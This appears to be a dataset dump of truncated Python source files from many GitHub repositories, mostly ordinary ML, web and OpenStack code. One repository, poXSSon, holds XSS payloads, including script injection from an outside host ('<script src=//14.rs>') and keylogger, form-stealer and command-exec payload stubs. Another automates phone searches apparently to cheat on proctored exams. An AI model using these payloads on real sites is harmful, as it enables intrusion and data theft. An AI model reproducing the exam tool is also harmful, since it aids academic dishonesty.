repo_name stringlengths 6 97 | path stringlengths 3 341 | text stringlengths 8 1.02M |
|---|---|---|
apastoriza/tf-ninja | tfninja/tf101/model101.py | <reponame>apastoriza/tf-ninja
# coding=utf-8
import numpy as np
import tensorflow as tf
from tfninja.utils import loggerfactory
logger = loggerfactory.get_logger(__name__)
SCALAR = tf.constant(100)
VECTOR = tf.constant([1, 2, 3, 4, 5])
MATRIX = tf.constant([[1, 2, 3], [4, 5, 6]])
CUBE_MATRIX = tf.consta... |
apastoriza/tf-ninja | tfninja/utils/time.py | <filename>tfninja/utils/time.py
# coding=utf-8
import time
from datetime import datetime
def current_time_in_millis():
return int(round(time.time() * 1000))
def current_time_in_microsecs():
now = datetime.now()
return now.microsecond
|
apastoriza/tf-ninja | tfninja/tf101/session104.py | <filename>tfninja/tf101/session104.py
# coding=utf-8
import numpy as np
import tensorflow as tf
from tfninja.utils import loggerfactory
logger = loggerfactory.get_logger(__name__)
rows = 3
cols = 2
x = tf.placeholder(tf.float32, name='random_matrix', shape=(rows, cols))
add_operation = tf.add(x, x)
... |
apastoriza/tf-ninja | tfninja/tf101/session102.py | # coding=utf-8
import tensorflow as tf
from tfninja.utils import loggerfactory
logger = loggerfactory.get_logger(__name__)
value = tf.Variable(0, name='value')
ONE = tf.constant(1)
new_value = tf.add(value, ONE)
update_value = tf.assign(value, new_value)
def run_session():
# Only after running ... |
apastoriza/tf-ninja | tfninja/tf102/softmax101.py | # coding=utf-8
import math
def run_softmax():
z = [1.0, 2.0, 3.0, 4.0, 1.0, 2.0, 3.0]
print([round(i, 3) for i in z])
z_exp = [math.exp(i) for i in z]
print([round(i, 3) for i in z_exp])
sum_z_exp = sum(z_exp)
# print(round(sum_z_exp, 2))
softmax = [round(i / sum_z_exp, 3) for i in z_exp]... |
apastoriza/tf-ninja | tfninja/tf102/softmax102_relu_dropout.py | <reponame>apastoriza/tf-ninja<gh_stars>0
# coding=utf-8
import math
import numpy as np
import tensorflow as tf
from random import randint
from tfninja.resources import config
from tfninja.resources import mnist_input_data
from tfninja.utils import loggerfactory
from tfninja.utils import time
logger = loggerfactory.... |
syukronahmd/Machine-Learning | app/run.py | import pickle
import pandas as pd
from flask import Flask, render_template, request
app = Flask(__name__)
model = pickle.load(open('gempa.sav', 'rb'))
@app.route("/")
def home():
return render_template("home.html")
@app.route("/visualization")
def visualization():
return render_template("visualization.html")
@app... |
airnandez/lsst-jupyter-kernel | lsst_distrib/kernel_launcher.py | <reponame>airnandez/lsst-jupyter-kernel<gh_stars>0
import sys
import os
import runpy
from typing import List
def reorder_paths(paths: List[str], prefix: str = None) -> List[str]:
if prefix is None:
return paths
head = [p for p in paths if p.startswith(prefix) or p == '']
tail = [p for p in paths if not... |
shanizalh/portfolio | database-key-value/btree.py | class Node:
def __init__(self, keys=None, children=None):
self.keys = keys or []
self.children = children or []
def is_leaf(self):
return len(self.children) == 0
def __repr__(self):
# Helpful method to keep track of Node keys.
return "<Node: {}>".format(self.keys)
... |
adelina-t/cinder | cinder/context.py | # Copyright 2011 OpenStack Foundation
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance wi... |
adelina-t/cinder | cinder/db/sqlalchemy/migration.py | <filename>cinder/db/sqlalchemy/migration.py
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in complia... |
adelina-t/cinder | cinder/brick/iscsi/iscsi.py | # Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a ... |
adelina-t/cinder | cinder/quota_utils.py | <filename>cinder/quota_utils.py
# Copyright 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/license... |
adelina-t/cinder | cinder/tests/test_misc.py |
# Copyright 2010 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... |
adelina-t/cinder | cinder/volume/drivers/hds/hds.py | # Copyright (c) 2013 Hitachi Data Systems, Inc.
# Copyright (c) 2013 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://ww... |
adelina-t/cinder | cinder/volume/drivers/san/hp/hp_msa_fc.py | # Copyright 2014 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
adelina-t/cinder | cinder/volume/drivers/vmware/vim.py | <reponame>adelina-t/cinder
# Copyright (c) 2013 VMware, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE... |
adelina-t/cinder | cinder/tests/test_netapp_nfs.py | <filename>cinder/tests/test_netapp_nfs.py
# Copyright (c) 2012 NetApp, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/... |
adelina-t/cinder | cinder/volume/drivers/san/hp/hp_3par_common.py | # (c) Copyright 2012-2014 Hewlett-Packard Development Company, L.P.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/lic... |
adelina-t/cinder | cinder/volume/drivers/nexenta/iscsi.py | # Copyright 2011 Nexenta Systems, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... |
adelina-t/cinder | cinder/volume/drivers/nexenta/nfs.py | <filename>cinder/volume/drivers/nexenta/nfs.py
# Copyright 2013 Nexenta Systems, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.ap... |
adelina-t/cinder | cinder/api/contrib/scheduler_hints.py | <reponame>adelina-t/cinder<filename>cinder/api/contrib/scheduler_hints.py
# Copyright 2013 OpenStack Foundation
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www... |
adelina-t/cinder | cinder/image/image_utils.py | <filename>cinder/image/image_utils.py
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
# Copyright (c) 2010 Citrix Systems, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# ... |
adelina-t/cinder | cinder/volume/drivers/coraid.py | # Copyright 2012 Alyseo.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
woodpecker324/wrappedbrowser | tests/test_wrappedbrowser.py | <reponame>woodpecker324/wrappedbrowser
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for `wrappedbrowser` package."""
import webbrowser
from unittest.mock import MagicMock
import pytest
from wrappedbrowser import wrappedbrowser
from wrappedbrowser.errors import InvalidDestinationError
def test_with_brows... |
woodpecker324/wrappedbrowser | wrappedbrowser/errors.py | """Errors for `wrappedbrowser`"""
class BaseWrappedbrowserError(Exception):
"""The base error class.
`wrappedbrowser` error classes should inherit from this."""
pass
class InvalidDestinationError(BaseWrappedbrowserError):
"""The destination provided is not a valid url or list of url-s."""
pass... |
woodpecker324/wrappedbrowser | wrappedbrowser/wrappedbrowser.py | <reponame>woodpecker324/wrappedbrowser
# -*- coding: utf-8 -*-
"""Main module."""
import webbrowser
from wrappedbrowser.errors import InvalidDestinationError
def open(destination, browser_type=None):
"""Opens a single url or a list of urls.
``destination``:
If it's a string, it's opened if possibl... |
yeswanth/MigrateToAndroidX | migrateToAndroidX.py | import csv
import glob
import os
import argparse
cwd = os.getcwd()
csvfile_path = cwd + "/androidx-class-mapping.csv"
csvfile = open(csvfile_path)
to_include_replacement_patterns = [
"android.support.annotation",
"android.support.annotation.RequiresPermission",
"android.support.design",
"android.support.v4",
]
se... |
pergrin/fictional-happiness-front | app.py | import streamlit as st
import requests
def send_request(text, length):
api_url = 'https://finished-fictional-happiness-pergrin.endpoint.ainize.ai/predict'
data = {
'base_text': (None, text),
'length': (None, length),
}
response = requests.post(api_url, data=data)
status_code = resp... |
Golbstein/BayesianOptimization | tests/test_bayesian_optimization.py | <filename>tests/test_bayesian_optimization.py
import pytest
import numpy as np
from bayes_opt import UtilityFunction
from bayes_opt import BayesianOptimization
from bayes_opt.logger import ScreenLogger
from bayes_opt.event import Events, DEFAULT_EVENTS
def target_func(**kwargs):
# arbitrary target func
return... |
3ep-one/urlshortener | urlshortener/requesthandler.py | <filename>urlshortener/requesthandler.py<gh_stars>0
import configparser
from io import BytesIO
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from UrlShortener import UrlShortener
class HttpHandler(BaseHTTPRequestHandler):
def __init__(self):
config = configparser.ConfigParser()
... |
3ep-one/urlshortener | urlshortener/__main__.py | from RequestHandler import HttpHandler
def main():
http_handler = HttpHandler()
http_handler.handle_requests()
if __name__ == "__main__":
main()
|
3ep-one/urlshortener | test/test_urlshortner.py | <filename>test/test_urlshortner.py
import unittest
import mock
from UrlShortener import UrlShortener
from Redis import Redis
import re
class TestUrlShortner(unittest.TestCase):
url_shortner = UrlShortener()
def test_url_encoder_function(self):
"""
Test url_encoder function behavior
""... |
3ep-one/urlshortener | urlshortener/redis.py | import redis
import configparser
class Redis:
def __init__(self):
self.redis_db = self.connect_to_redis()
config = configparser.ConfigParser()
config.read('db.ini')
self.redis_host = config['redis']['host']
self.redis_port = config['redis']['port']
self.redis_pass =... |
3ep-one/urlshortener | urlshortener/urlshortener.py | import configparser
from Redis import Redis
class UrlShortener:
def __init__(self):
self.redis = Redis()
if not self.redis.does_key_exist('id'):
self.redis.add_key_value('id', '1')
config = configparser.ConfigParser()
config.read('config.ini')
self.short_url = ... |
FranciscoBurigo/OLX_scrapper | Buscador_de_dados_olx.py | <gh_stars>0
# Codigo buscar dados OLX
#by <NAME>
import pandas as pd
import numpy as np
import requests
from bs4 import BeautifulSoup
import json
from difflib import SequenceMatcher
from selenium import webdriver
import time
from datetime import date
from selenium.webdriver.chrome.options import Options
from selenium.... |
redcode-labs/poXSSon | poxsson.py | #!/usr/bin/python3
import argparse
from huepy import *
import sys
import importlib
import os
import base64
import pyperclip
import subprocess
from terminaltables import SingleTable
import random
import socket
#import atexit
POXSSON_PATH = os.path.realpath(__file__).replace("poxsson.py", "") #Absolute path of the projec... |
redcode-labs/poXSSon | lib/handler.py | <gh_stars>10-100
#!/usr/bin/python3.7
from http.server import HTTPServer, BaseHTTPRequestHandler
class DefaultHandler(BaseHTTPRequestHandler):
def do_GET(self):
print(self.path)
#self.send_response(200)
#self.end_headers()
#self.wfile.write(b'Hello, world!')
def start_handler(port,... |
redcode-labs/poXSSon | payloads/alert.py | #!/usr/bin/python3.7
name="alert"
description="Print alert message"
options=[["MESSAGE", "Alert message to print", "alert!"]]
payload = """
alert('MESSAGE')
"""
|
redcode-labs/poXSSon | payloads/info.py | #!/usr/bin/python3.7
import socket
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="info"
description="Retrieve information about the application that launched the script"
opt... |
redcode-labs/poXSSon | payloads/shortest.py | #!/usr/bin/python3
name="shortest"
description="The shortest payload for XSS injection"
payload = "<script src=//14.rs>" |
redcode-labs/poXSSon | payloads/img_replace.py | <reponame>redcode-labs/poXSSon<filename>payloads/img_replace.py
#!/usr/bin/python3.7
name="img_replace"
description="Replace all images on site with an image pointed to by URL"
options = [["URL", "URL of the new image", ""]]
payload = """
var imgs = document.getElementsByTagName("img");
for(var i=0, l=imgs.length; i<... |
redcode-labs/poXSSon | payloads/hide.py | <filename>payloads/hide.py
#!/usr/bin/python3.7
name="hide"
description="Hides specified element on the page"
options = [['ELEMENT_ID', "ID of the element to hide", ""]]
payload = """
var p = document.getElementById('ELEMENT_ID');
p.style.display = 'none';
"""
|
redcode-labs/poXSSon | payloads/random_confirm.py | #!/usr/bin/python3
import random
name="random_confirm"
description="Chooses a random one-liner 'confirm()' payload. An alternative to standard 'alert()'"
options = [[]]
payload = random.choice(open('random_confirm_payloads.txt').readlines())
|
redcode-labs/poXSSon | payloads/add_script.py | <reponame>redcode-labs/poXSSon
#!/usr/bin/python3.7
name="add_script"
description="Append external script to the top of the 'head' tag of the site as child element"
options = [['URL', "URL of the external script", ""]]
payload = """
var script=document.createElement('script');
script.type='text/javascript';
script.sr... |
redcode-labs/poXSSon | payloads/session_keylogger.py | <filename>payloads/session_keylogger.py
#!/usr/bin/python3.7
import socket
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="session_keylogger"
description="A keylogger which f... |
redcode-labs/poXSSon | payloads/form_stealer.py | <filename>payloads/form_stealer.py
#!/usr/bin/python3.7
import socket
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="form_stealer"
description="Steals all the values set in ... |
redcode-labs/poXSSon | payloads/random.py | #!/usr/bin/python3
import random
name="random"
description="Chooses a random one-liner payload for blind testing backend's input validation"
options = [[]]
payload = random.choice(open('random_payloads.txt').readlines())
|
redcode-labs/poXSSon | payloads/link_replace.py | <filename>payloads/link_replace.py
#!/usr/bin/python3.7
name="link_replace"
description="Replaces all links on page"
options = [['URL', "URL to replace the links with", "http://example.com"]]
payload = """
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "URL";
});
"""
|
redcode-labs/poXSSon | payloads/storage.py | <gh_stars>10-100
#!/usr/bin/python3.7
import socket
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="storage"
description="Retrieves HTML5 local storage and send it away throu... |
redcode-labs/poXSSon | payloads/cmd_exec.py | #!/usr/bin/python3.7
import socket
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="cmd_exec"
description="Executes command using NodeJS's execSync function"
options = [["LHOS... |
redcode-labs/poXSSon | payloads/keylogger.py | #!/usr/bin/python3.7
import socket
import http.server
def local_ip():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
except:
return "N/A"
name="keylogger"
description="Captures keystrokes and sends them to an externa... |
Hanlen520/fasttest | fasttest/keywords/keywords.py | <reponame>Hanlen520/fasttest<gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def return_keywords(driver):
keywords_common = [
"click", # 点击
"check", # 检查
"sleep", # 等待
"setVar", # 设置全局变量
"break",
"$.getText", # 获取文案
"$.id",
... |
Hanlen520/fasttest | fasttest/fasttest_runner.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import getopt
import traceback
from concurrent import futures
from fasttest.version import VERSION
from fasttest.project import *
def _usage():
print('')
print(' usage: fasttest [-h|-v|] [arg] ...')
print('')
print(' options:')
p... |
Hanlen520/fasttest | fasttest/runner/run_case.py | <reponame>Hanlen520/fasttest
from fasttest.common import Var
from fasttest.runner.test_case import TestCase
from fasttest.drivers.driver_base_app import DriverBaseApp
from fasttest.drivers.driver_base_web import DriverBaseWeb
from fasttest.runner.case_analysis import CaseAnalysis
class RunCase(TestCase):
... |
Hanlen520/fasttest | fasttest/result/html_result.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import sys
import time
import shutil
class Template_mixin(object):
"""
Define a HTML template for report customerization and generation.
Overall structure of an HTML report
HTML
+------------------------+
... |
Hanlen520/fasttest | fasttest/drivers/appium/__init__.py | <reponame>Hanlen520/fasttest
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from fasttest.drivers.appium.driver_appium import AndroidDriver, iOSDriver
__all__ = ['AndroidDriver','iOSDriver']
|
Hanlen520/fasttest | fasttest/utils/devices_utils.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import platform
class DevicesUtils(object):
def __init__(self, platformName, udid):
self._platformName = platformName
self._udid = udid
def device_info(self):
if self._platformName.lower() == 'android'... |
Hanlen520/fasttest | fasttest/runner/action_executor_base.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import time
import copy
from typing import Iterable
from fasttest.common import Var, log_info, log_error
class ActionExecutorBase(object):
def _import(self):
file_list = []
try:
for rt, dirs, files in os.walk(os... |
Hanlen520/fasttest | fasttest/utils/yaml_utils.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import yaml
from fasttest.common import Dict
def analytical_file(path):
'''
analytical file
:param path:
:return:
'''
with open(path, "r", encoding='utf-8') as f:
yaml_data = yaml.load(f, Loader=yaml.FullLoader)
yaml_di... |
Hanlen520/fasttest | fasttest/project.py | <reponame>Hanlen520/fasttest<gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import time
import math
import unittest
import threading
from fasttest.common import *
from fasttest.utils import *
from fasttest.keywords import keywords
from fasttest.runner.run_case import RunC... |
Hanlen520/fasttest | fasttest/common/decorator.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
try:
import cv2
except:
pass
import time
from fasttest.common import *
def mach_keywords(func, *args, **kwds):
def wrapper(*args, **kwds):
start_time = time.time()
result = None
try:
if args or kwds:... |
Hanlen520/fasttest | fasttest/utils/__init__.py | <reponame>Hanlen520/fasttest
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from fasttest.utils.yaml_utils import analytical_file
from fasttest.utils.devices_utils import DevicesUtils
from fasttest.utils.opcv_utils import OpencvUtils
from fasttest.utils.server_utils_app import ServerUtilsApp
from fasttest.utils.s... |
Hanlen520/fasttest | fasttest/result/test_result.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import time
import unittest
import collections
from fasttest.common import *
class TestInfo(object):
"""
This class keeps useful information about the execution of a
test method.
"""
# Possible test outcomes
(SUCCESS, FAIL... |
Hanlen520/fasttest | fasttest/common/__init__.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from fasttest.common.dict import Dict, DictEncoder
from fasttest.common.variable_global import Var
from fasttest.common.log import log_info, log_error
__all__ = ['log_info','log_error','Var', 'Dict', 'DictEncoder']
|
Hanlen520/fasttest | fasttest/utils/server_utils_app.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import time
import random
import platform
import threading
import subprocess
from fasttest.common import *
class ServerUtilsApp(object):
def __getattr__(self, item):
try:
return self.__getattri... |
Hanlen520/fasttest | setup.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#############################################
# File Name: setup.py
# Author: IMJIE
# Email: <EMAIL>
# Created Time: 2020-1-29
#############################################
import sys
import setuptools
with open("README.md", "r", encoding='UTF-8') as fh:
long_descri... |
Hanlen520/fasttest | fasttest/common/dict.py | <filename>fasttest/common/dict.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import collections
try:
from appium.webdriver import WebElement
except:
pass
try:
from macaca.webdriver import WebElement
except:
pass
class Dict(collections.UserDict):
def __missing__(self, k... |
Hanlen520/fasttest | fasttest/common/log.py | <filename>fasttest/common/log.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import datetime
import platform
from colorama import init, Fore, Back, Style
from fasttest.common import *
logger = None
if platform.system() != 'Windows':
init(wrap=True)
init(autoreset=True)
def wr... |
Hanlen520/fasttest | fasttest/utils/server_utils_web.py | <reponame>Hanlen520/fasttest
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from selenium import webdriver
from fasttest.common import *
class ServerUtilsWeb(object):
def __getattr__(self, item):
try:
return self.__getattribute__(item)
except:
retu... |
Hanlen520/fasttest | fasttest/runner/action_analysis.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import json
from colorama import Fore, Back, Style
from fasttest.common import Var, Dict, log_info
from fasttest.common.decorator import mach_keywords, executor_keywords
from fasttest.runner.action_executor_app import ActionExec... |
Hanlen520/fasttest | fasttest/runner/action_executor_web.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import time
import datetime
from selenium.webdriver.remote.webelement import WebElement
from selenium.common.exceptions import JavascriptException
from fasttest.common import Var
from fasttest.common.check import check
from fasttest.dri... |
Hanlen520/fasttest | fasttest/runner/action_executor_app.py | <reponame>Hanlen520/fasttest<filename>fasttest/runner/action_executor_app.py<gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from fasttest.common import Var
from fasttest.drivers.driver_base_app import DriverBaseApp
from fasttest.utils.opcv_utils import OpencvUtils
from fasttest.runner.action_e... |
Hanlen520/fasttest | fasttest/utils/opcv_utils.py | <gh_stars>10-100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
try:
import cv2
except:
pass
class OpencvUtils(object):
def __init__(self,baseimage, matchimage, height):
self.baseimage = baseimage
self.matchimage = matchimage
self.height = height
s... |
Hanlen520/fasttest | fasttest/runner/case_analysis.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import sys
import traceback
from fasttest.common import Var
from fasttest.runner.action_analysis import ActionAnalysis
class CaseAnalysis(object):
def __init__(self):
self.action_nalysis = ActionAnalysis()
self.testcase_steps = [... |
tmcclintock/Pmesh_emulator | pmesh_emulator/_data_manipulation.py | <gh_stars>0
"""
This file is for reading in the simulation data and saving it into a convenient format. It should not be used by the user. If you are reading this, then disregard. It will do nothing unless you are running locally (Author is <NAME>) on my laptop.
"""
import numpy as np
Nboxes = 122
Nsnaps = 30
sf = n... |
tmcclintock/Pmesh_emulator | pmesh_emulator/pmesh_emulator.py | import copy
import numpy as np
import george
from george.kernels import ExpSquaredKernel, Matern52Kernel, \
ExpKernel, RationalQuadraticKernel, Matern32Kernel
import scipy.optimize as op
#Assert statements to guarantee the linter doesn't complain
assert ExpSquaredKernel
assert Matern52Kernel
assert ExpKernel
asse... |
tmcclintock/Pmesh_emulator | pmesh_emulator/__init__.py | """Emulator for particle mesh sims.
"""
from .pmesh_emulator import pmesh_emulator
assert pmesh_emulator #A hack to get pyflakes to not complain
__version__ = "0.1.0"
__author__ = "<NAME>"
__email__ = "<EMAIL>"
|
tmcclintock/Pmesh_emulator | setup.py | from setuptools import setup
dist = setup(name="Pmesh_emulator",
author="<NAME>",
author_email="<EMAIL>",
description="Framework for emulating particle mesh simulations.",
license="MIT",
url="https://github.com/tmcclintock/Pmesh_emulator",
i... |
akhileshkoti/easypass-online-proctored-exams | automate_search.pyw | <filename>automate_search.pyw
from ppadb.client import Client
import clipboard as c
import time
client=Client(host="127.0.0.1",port=5037)
'''print("------------Starting Server------------")
print("Connecting to client",end='')
for i in range(3):
print('.',end='')
time.sleep(1)'''
devices=client.devices... |
akhileshkoti/easypass-online-proctored-exams | automate_android_search.py | <reponame>akhileshkoti/easypass-online-proctored-exams
from ppadb.client import Client
import clipboard as c
import time
client=Client(host="127.0.0.1",port=5037)
print("------------Starting Server------------")
print("Connecting to client",end='')
for i in range(3):
print('.',end='')
time.sleep(1)
devices=clie... |
maenette/django | tests/postgres_tests/test_signals.py | from django.db import connection
from . import PostgreSQLTestCase
try:
from django.contrib.postgres.signals import get_hstore_oids, get_citext_oids
except ImportError:
pass # pyscogp2 isn't installed.
class OIDTests(PostgreSQLTestCase):
def assertOIDs(self, oids):
self.assertIsInstance(oids, t... |
maenette/django | django/urls/conf.py | <filename>django/urls/conf.py<gh_stars>1-10
"""Functions for use in URLsconfs."""
from importlib import import_module
from django.core.exceptions import ImproperlyConfigured
from .resolvers import LocaleRegexURLResolver
def include(arg, namespace=None):
app_name = None
if isinstance(arg, tuple):
# C... |
maenette/django | django/conf/urls/__init__.py | <reponame>maenette/django<gh_stars>1-10
from django.urls import RegexURLPattern, RegexURLResolver, include
from django.views import defaults
__all__ = ['handler400', 'handler403', 'handler404', 'handler500', 'include', 'url']
handler400 = defaults.bad_request
handler403 = defaults.permission_denied
handler404 = defau... |
maenette/django | django/contrib/postgres/signals.py | import functools
import psycopg2
from psycopg2 import ProgrammingError
from psycopg2.extras import register_hstore
from django.db import connections
@functools.lru_cache()
def get_hstore_oids(connection_alias):
"""Return hstore and hstore array OIDs."""
with connections[connection_alias].cursor() as cursor:... |
sprout42/StarStruct | starstruct/elementescaped.py | <reponame>sprout42/StarStruct<filename>starstruct/elementescaped.py
"""
The escaped NamedStruct element class.
Can be used in multiple ways ways:
1: Variable Lengths, in terms of namedstruct elements
.. code-block:: python
ExampleMessage = Message('VarTest', [('x', 'B'), ('y', 'B')])
TestStruct ... |
sprout42/StarStruct | starstruct/tests/__init__.py | """Tests for the `starstruct` package."""
|
sprout42/StarStruct | starstruct/tests/test_message.py | #!/usr/bin/env python3
"""Tests for the starstruct class"""
import enum
import unittest
import pytest
from starstruct.message import Message
from starstruct.modes import Mode
class SimpleEnum(enum.Enum):
"""Simple enum class for testing message pack/unpack"""
one = 1
two = 2
three = 3
# pylint: d... |
sprout42/StarStruct | starstruct/tests/test_elementenum.py | #!/usr/bin/env python3
"""Tests for the elementenum class"""
import unittest
import enum
from starstruct.elementenum import ElementEnum
class SimpleEnum(enum.Enum):
"""Simple enum class for testing message pack/unpack"""
zero = 0
one = 1
two = 2
# pylint: disable=blacklisted-name
class StrEnum(en... |
sprout42/StarStruct | starstruct/tests/test_elementnum.py | <gh_stars>1-10
#!/usr/bin/env python3
"""Tests for the elementbase class"""
import unittest
from starstruct.elementnum import ElementNum
# pylint: disable=line-too-long,invalid-name
class TestElementNum(unittest.TestCase):
"""ElementNum module tests"""
def test_valid(self):
"""Test field formats t... |
sprout42/StarStruct | starstruct/elementnum.py | <filename>starstruct/elementnum.py
"""StarStruct element class."""
import struct
import re
import enum
from starstruct.element import register, Element
from starstruct.modes import Mode
@register
class ElementNum(Element):
"""
A StarStruct element class for number fields.
"""
# pylint: disable=too-m... |
sprout42/StarStruct | starstruct/elementstring.py | <reponame>sprout42/StarStruct<gh_stars>1-10
"""StarStruct element class."""
import struct
import re
from starstruct.element import register, Element
from starstruct.modes import Mode
@register
class ElementString(Element):
"""
A StarStruct element for strings, because standard string treatment of
pack/u... |
sprout42/StarStruct | starstruct/elementdiscriminated.py | """StarStruct element class."""
import starstruct
from starstruct.element import register, Element
from starstruct.modes import Mode
@register
class ElementDiscriminated(Element):
"""
The discriminated StarStruct element class.
"""
def __init__(self, field, mode=Mode.Native, alignment=1):
""... |
sprout42/StarStruct | starstruct/modes.py | <gh_stars>1-10
"""binary representation modes used for a StarStruct object."""
import sys
import enum
@enum.unique
class Mode(enum.Enum):
"""The StarStruct modes match the modes supported by struct.pack/unpack."""
Native = '='
Little = '<'
Big = '>'
Network = '!'
def to_byteorder(self):
... |
sprout42/StarStruct | starstruct/tests/test_elementconstant.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Tests for the constant class"""
import unittest
from starstruct.message import Message
from starstruct.modes import Mode
class TestElementConstant(unittest.TestCase):
def test_one_element(self):
TestStruct = Message('TestStruct', [
('regular... |
sprout42/StarStruct | starstruct/elementnone.py | <filename>starstruct/elementnone.py<gh_stars>1-10
"""
Element None
A non-packable, non-unpackable item that can help facilitate with additional information about an object,
pass extra references to a variable and potentially more
.. code-block:: python
ExampleMessage = Message('VarTest', [('x', 'B'), ('y', 'B')]... |
sprout42/StarStruct | starstruct/element.py | <filename>starstruct/element.py
"""StarStruct element class."""
from typing import Optional, Tuple
from starstruct.modes import Mode
def register(cls):
""" A handy decorator to register a class as an element """
Element.register(cls)
return cls
class Element(object):
"""
A class factory that d... |
sprout42/StarStruct | starstruct/tests/test_selfpack.py | <reponame>sprout42/StarStruct
#!/usr/bin/env python3
"""Tests for the starstruct class and its self packing"""
import struct
import unittest
from starstruct.message import Message
class TestStarStruct(unittest.TestCase):
"""Test class for self packing of messages"""
teststruct = [
('a', 'b'), ... |
sprout42/StarStruct | starstruct/tests/test_length.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import enum
import struct
import unittest
import pytest
from starstruct.message import Message
class MyEnum(enum.Enum):
"""Possible enum types."""
THIS = 0
THAT = 1
OTHER = 2
MyNamed = Message('MyNamed', [
('type', 'B'),
('name', '32s'),
])
... |
sprout42/StarStruct | starstruct/elementcallable.py | <reponame>sprout42/StarStruct<gh_stars>1-10
"""
Element callable.
Call a function to validate data.
TODO: Update the format here
.. code-block:: python
from binascii import crc32
ExampleMessage = Message('VarTest', [('x', 'B'), ('y', 'B')])
